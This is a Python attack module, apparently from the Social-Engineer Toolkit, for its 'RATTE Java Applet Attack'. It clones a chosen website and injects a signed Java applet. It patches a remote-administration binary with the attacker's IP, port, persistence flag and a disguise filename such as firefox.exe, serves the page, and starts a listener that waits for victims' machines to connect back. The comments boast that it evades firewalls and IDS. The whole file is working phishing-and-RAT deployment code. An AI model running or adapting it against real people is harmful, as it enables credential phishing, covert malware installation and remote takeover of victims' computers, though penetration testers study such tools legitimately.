#!/usr/bin/env python
#
# These are required fields
#
import os
import shutil
import subprocess
from time import sleep

try:
    from urllib.parse import urlparse
except ImportError:
    from urlparse import urlparse

try:
    import socketserver as SocketServer  # Py3
except ImportError:
    import SocketServer  # Py2

try:
    import http.server as SimpleHTTPServer  # Py3
except ImportError:
    import SimpleHTTPServer  # Py2

try:
    import _thread as thread  # Py3
except ImportError:
    import thread  # Py2

import src.core.setcore as core
from src.core.menu import text

try:
    input = raw_input
except NameError:
    pass

definepath = os.getcwd()
userconfigpath = core.userconfigpath

MAIN="RATTE Java Applet Attack (Remote Administration Tool Tommy Edition) - Read the readme/RATTE_README.txt first"

# This is RATTE (Remote Administration Tool Tommy Edition) attack module. It will launch a java applet attack to inject RATTE. Then it will launch RATTE-Server and wait for victim to connect. RATTE can beat local Firewalls, IDS and even EAL 4+ certified network firewalls.
# This release one is only for education!"
AUTHOR="Thomas Werth"

httpd = None


#
# This will start a web server in the directory root you specify, so for example
# you clone a website then run it in that web server, it will pull any index.html file
#
def start_web_server_tw(directory, port):
    global httpd
    try:
        # create the httpd handler for the simplehttpserver
        # we set the allow_reuse_address in case something hangs can still bind to port

        class ReusableTCPServer(SocketServer.TCPServer):
            allow_reuse_address = True

        # specify the httpd service on 0.0.0.0 (all interfaces) on port 80
        httpd = ReusableTCPServer(("0.0.0.0", port), SimpleHTTPServer.SimpleHTTPRequestHandler)
        # thread this mofo
        thread.start_new_thread(httpd.serve_forever, ())
        # change directory to the path we specify for output path
        os.chdir(directory)

    # handle keyboard interrupts
    except KeyboardInterrupt:
        core.print_info("Exiting the SET web server...")
        httpd.socket.close()

        # handle the rest
        # except Exception:
        #    print "[*] Exiting the SET web server...\n"
        #    httpd.socket.close()


def stop_web_server_tw():
    global httpd
    try:
        httpd.socket.close()
    # handle the exception
    except:
        httpd.socket.close()


#
# This will create the java applet attack from start to finish.
# Includes payload (reverse_meterpreter for now) cloning website
# and additional capabilities.
#
def java_applet_attack_tw(website, port, directory, ipaddr):
    # clone the website and inject java applet
    core.site_cloner(website, directory, "java")

    ############################################
    # use customized Ratte nehmen
    ############################################

    # this part is needed to rename the msf.exe file to a randomly generated one
    if os.path.isfile(os.path.join(userconfigpath, "rand_gen")):
        # open the file
        # start a loop
        with open(os.path.join(userconfigpath, "rand_gen")) as fileopen:
            for line in fileopen:
                # define executable name and rename it
                filename = line.rstrip()
                if not filename:
                    continue
                # move the file to the specified directory and filename
                shutil.copyfile(
                    os.path.join("src", "payloads", "ratte", "ratte.binary"),
                    os.path.join(directory, filename),
                )

    # lastly we need to copy over the signed applet
    shutil.copyfile(
        os.path.join(userconfigpath, "Signed_Update.jar"),
        os.path.join(directory, "Signed_Update.jar"),
    )

    # TODO index.html parsen und IPADDR:Port ersetzen
    with open(os.path.join(directory, "index.html"), "rb") as fileopen:
        data = fileopen.read()

    with open(os.path.join(directory, "index.html"), 'wb') as filewrite:
        to_replace = (core.grab_ipaddress() + ":80").encode("utf-8")
        replacement = ("%s:%s" % (ipaddr, port)).encode("utf-8")

        # replace 3 times
        filewrite.write(data.replace(to_replace, replacement, 3))

    # start the web server by running it in the background
    start_web_server_tw(directory, port)


#
# Start ratteserver
#
def ratte_listener_start(port):
    # launch ratteserver    using ../ cause of reports/ subdir
    # subprocess.Popen("%s/src/set_payloads/ratte/ratteserver %d" % (os.getcwd(),port), shell=True).wait()
    subprocess.Popen("../src/payloads/ratte/ratteserver %d" % port, shell=True).wait()


def prepare_ratte(ipaddr, ratteport, persistent, customexe):
    core.print_status("preparing RATTE...")
    # replace ipaddress with one that we need for reverse connection back
    ############
    # Load content of RATTE
    ############
    with open("src/payloads/ratte/ratte.binary", "rb") as fileopen:
        data = fileopen.read()

    ############
    # PATCH Server IP into RATTE
    ############
    with open(os.path.join(userconfigpath, "ratteM.exe"), 'wb') as filewrite:

        host = ((len(ipaddr) + 1) * "X").encode("ascii")
        r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii")
        pers = ((len(str(persistent)) + 1) * "Z").encode("ascii")
        # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
        if customexe:
            cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii")
        else:
            cexe = None

        patched = data
        if cexe is not None:
            patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1)
        patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1)
        patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1)
        patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1)
        filewrite.write(patched)


# def main(): header is required
def main():
    valid_site = False
    valid_ip = False
    # valid_persistence = False
    input_counter = 0
    site_input_counter = 0
    ipaddr = None
    website = None

    # pause=input("This module has finished completing. Press <enter> to continue")

    # Get a *VALID* website address
    while not valid_site and site_input_counter < 3:
        website = input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)"))
        site = urlparse(website)

        if site.scheme == "http" or site.scheme == "https":
            if site.netloc != "":
                valid_site = True
            else:
                if site_input_counter == 2:
                    core.print_error("\nMaybe you have the address written down wrong?" + core.bcolors.ENDC)
                    sleep(4)
                    return
                else:
                    core.print_warning("I can't determine the fqdn or IP of the site. Try again?")
                    site_input_counter += 1
        else:
            if site_input_counter == 2:
                core.print_error("\nMaybe you have the address written down wrong?")
                sleep(4)
                return
            else:
                core.print_warning("I couldn't determine whether this is an http or https site. Try again?")
                site_input_counter += 1
                # core.DebugInfo("site.scheme is: %s " % site.scheme)
                # core.DebugInfo("site.netloc is: %s " % site.netloc)
                # core.DebugInfo("site.path is: %s " % site.path)
                # core.DebugInfo("site.params are: %s " % site.params)
                # core.DebugInfo("site.query is: %s " % site.query)
                # core.DebugInfo("site.fragment is: %s " % site.fragment)

    while not valid_ip and input_counter < 3:
        ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
        valid_ip = core.validate_ip(ipaddr)
        if not valid_ip:
            if input_counter == 2:
                core.print_error("\nMaybe you have the address written down wrong?")
                sleep(4)
                return
            else:
                input_counter += 1

    # javaport must be 80, cause applet uses in web injection port 80 to download payload!
    try:
        javaport = int(input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
        while javaport == 0 or javaport > 65535:
            if javaport == 0:
                core.print_warning(text.PORT_NOT_ZERO)
            if javaport > 65535:
                core.print_warning(text.PORT_TOO_HIGH)
            javaport = int(input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]")))
    except ValueError:
        # core.print_info("Port set to default of 80")
        javaport = 80

    try:
        ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
        while ratteport == javaport or ratteport == 0 or ratteport > 65535:
            if ratteport == javaport:
                core.print_warning("Port must not be equal to javaport!")
            if ratteport == 0:
                core.print_warning(text.PORT_NOT_ZERO)
            if ratteport > 65535:
                core.print_warning(text.PORT_TOO_HIGH)
            ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
    except ValueError:
        ratteport = 8080

    persistent = core.yesno_prompt(["9", "2"], "Should RATTE be persistentententent [no|yes]?")

    # j0fer 06-27-2012 #        while valid_persistence != True:
    # j0fer 06-27-2012 #                persistent=input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
    # j0fer 06-27-2012 #                persistent=str.lower(persistent)
    # j0fer 06-27-2012 #                if persistent == "no" or persistent == "n":
    # j0fer 06-27-2012 #                        persistent="NO"
    # j0fer 06-27-2012 #                        valid_persistence = True
    # j0fer 06-27-2012 #               elif persistent == "yes" or persistent == "y":
    # j0fer 06-27-2012 #                       persistent="YES"
    # j0fer 06-27-2012 #                       valid_persistence = True
    # j0fer 06-27-2012 #                else:
    # j0fer 06-27-2012 #                       core.print_warning(text.YES_NO_RESPONSES)

    customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))

    #######################################
    # prepare RATTE
    #######################################

    prepare_ratte(ipaddr, ratteport, persistent, customexe)

    ######################################
    # Java Applet Attack to deploy RATTE
    #######################################

    core.print_info("Starting java applet attack...")
    java_applet_attack_tw(website, javaport, "reports/", ipaddr)

    with open(os.path.join(userconfigpath, "rand_gen")) as fileopen:
        for line in fileopen:
            ratte_random = line.rstrip()
        shutil.copyfile(
            os.path.join(userconfigpath, "ratteM.exe"),
            os.path.join(definepath, "reports", ratte_random),
        )

    #######################
    # start ratteserver
    #######################

    core.print_info("Starting ratteserver...")
    ratte_listener_start(ratteport)

    ######################
    # stop webserver
    ######################
    stop_web_server_tw()
    return
